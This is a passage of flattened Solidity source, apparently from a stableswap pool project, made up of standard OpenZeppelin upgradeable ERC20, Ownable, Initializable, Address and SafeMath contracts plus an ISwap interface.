b) internal pure returns (bool) { return (difference(a, b) <= 1); } /** * @notice Calculates absolute difference between a and b * @param a uint256 to compare with * @param b uint256 to compare with * @return Difference between a and b */ function difference(uint256 a, uint256 b) internal pure returns (uint256) { if (a > b) { return a - b; } return b - a; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./ERC20Upgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable { function __ERC20Burnable_init() internal initializer { __Context_init_unchained(); __ERC20Burnable_init_unchained(); } function __ERC20Burnable_init_unchained() internal initializer { } using SafeMathUpgradeable for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./IAllowlist.sol"; interface ISwap { // pool data view functions function getA() external view returns (uint256); function getAllowlist() external view returns (IAllowlist); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); function isGuarded() external view returns (bool); function swapStorage() external view returns ( uint256, uint256, uint256, uint256, uint256, uint256, address ); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256); function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function initialize( IERC20[] memory pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 a, uint256 fee, uint256 adminFee, address lpTokenTargetAddress ) external; function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: 